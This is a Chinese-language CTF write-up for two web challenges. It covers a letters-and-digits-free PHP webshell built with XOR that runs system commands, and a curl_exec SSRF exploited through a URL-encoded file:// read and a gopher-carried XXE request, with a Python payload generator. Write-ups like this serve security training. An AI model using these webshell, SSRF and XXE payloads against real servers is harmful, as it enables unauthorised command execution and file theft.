“第五空间”智能安全大赛

第五空间CTF Writeup

hate-php

考点:异或取反构造无字母数字webshell

开题送码:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

preg_match ban掉了下划线等字符,然后 get_defined_functions()['internal'] 禁用了内置函数

但是没有过滤取反~和异或^,

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意PHP表达式。

不但如此,这个payload还支持接受参数,比如 ('phpinfo')(1) ,这道题过滤了分号,但是这道题不需要分号也可以执行

那么我们自然可以用这个来执行一些代码;

?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

成功返回了 phpinfo ,我们继续构造一个shell:

?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ee}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff})&%ee=system&%ff=ls

可以看到ls的结果,不过cat好像又被宰掉了,用 tac fl* 来获取flag

img

do you know

预期:gopher协议SSRF打XXE,URL编码显示空字符,pop链

非预期:直接URL编码字母来绕过file关键字读取flag

呐~这道题是气死啊,我用gopher协议读取了main.php之后遇到了一个谜之pop链,最后饮恨于此,后来看了一些师傅的wp之后,知道这个非预期直接吐血。。。这波啊……这波是气死……

题目分析

一来就给出源码:

 <?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
 
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}
 
if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}
 
$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }
 
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 
    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }
 
    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
 
 
    $res = curl_exec($ch);
    var_dump($res);

明显是滥用 curl_exec 导致SSRF,第11-36行写的很僵硬,意思是GET传入的第一第二个参数必须键名不同键值相同,

然后 foreach 里面又把最后一个值赋给了 $url

所以我们直接 ?a=xxx&b=xxx&c=payload 就行,于是我们传入 ?a=xxx&b=xxx&c=127.0.0.1 就看到了请求index.php的结果

那么先说非预期:

urlencode编码绕过file关键字

他正则匹配的是$_SERVER["QUERY_STRING"];

$poc=$_SERVER['QUERY_STRING']; 
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
 die("no hacker"); 
}

但是赋值给url的时候是$_GET

foreach($_GET as $key=>$value) {
 $url=$value; 
}

谜底揭晓:

img

原理是$_SERVER["QUERY_STRING"]和$_GET两个超全局变量储存数据方式不同,并不是一些师傅说的二次解码的问题

换句话说,我们想要用 file://var/www/html/flag.php 来读取flag的话,他的filter是会过滤我们;

但是我们只要把这句payloadURL编码(英文字母也可以URL编码,格式为%+字符的16进制,详见菜鸟教程

payload:

?a=xxx&b=xxx&c=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

查看源码就有flag;

说到这里,其实也不算非预期了;

gopher协议SSRF利用XXE读取flag.php

这个方法比较麻烦一点,而且还可能会走偏(走偏选手已经哭晕在厕所)

生成POST数据流的exp:

#python3
#wh1sper
from urllib.parse import quote
 
stream = """POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1
 
data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E
""".replace("\n", "\r\n")#data需要先URL编码一次
print(quote(stream))

生成:

POST%20/xxe.php%20HTTP/1.1%0D%0AHost%3A%20121.36.64.91%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%20225%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Adata%3D%253C%253Fxml%2520version%2520%253D%2520%25221.0%2522%253F%253E%250A%253C%21DOCTYPE%2520ANY%2520%255B%250A%2520%2520%2520%2520%253C%21ENTITY%2520f%2520SYSTEM%2520%2522php%253A%252F%252Ffilter%252Fconvert.base64-encode%252Fresource%253D%252566%25256c%252561%252567.%252570%252568%252570%2522%253E%250A%255D%253E%250A%253Cx%253E%2526f%253B%253C%252Fx%253E%0D%0A

拿去URLencode之后,用gopher协议打(gopher协议后面的数据需要二次编码):

?a=xxx&b=xxx&c=gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520238%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253D%252566%25256c%252561%252567.%252570%252568%252570%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A

上面这个payload是xxe直接flag.php,但是没双写所以读不到,然后flag关键字还是需要URLencode,其实也就相当于利用了超全局变量,和另外一个方法比起来简直弱爆了

注意

1.修改数据时记得改POST请求头的Content-Type;

2.记得双写,xxe.php的过滤是替换为空

3.万万不要读取hints.php和main.php,最后会走到一个做不出来的pop链

复现到这里,再次哭晕;

updatedupdated2022-10-302022-10-30